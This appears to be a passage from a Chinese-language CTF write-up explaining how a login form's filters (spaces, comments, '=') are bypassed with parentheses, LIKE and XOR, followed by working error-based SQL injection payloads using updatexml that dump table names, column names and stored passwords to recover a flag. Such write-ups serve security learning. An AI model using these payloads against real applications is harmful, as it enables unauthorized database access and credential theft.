并且空格,%0a,%20,/**/,/*!*/都被过滤了,但是()没有过滤,=被过滤了,但是没有过滤like,因此我们使用报错注入:
爆表名:
username=admin'^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1)%23&password=admin
爆列名:
username=admin'^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1)%23&password=admin
爆数据:
username=admin'^updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1)%23&password=admin
username=admin'^updatexml(1,concat(0x7e,right((select(group_concat(password))from(H4rDsq1)),31),0x7e),1)%23&password=admin
flag:
flag{a635bca6-b05b-4762-8530-82
a6-b05b-4762-8530-8203e8ae3c27}
flag{a635bca6-b05b-4762-8530-8203e8ae3c27}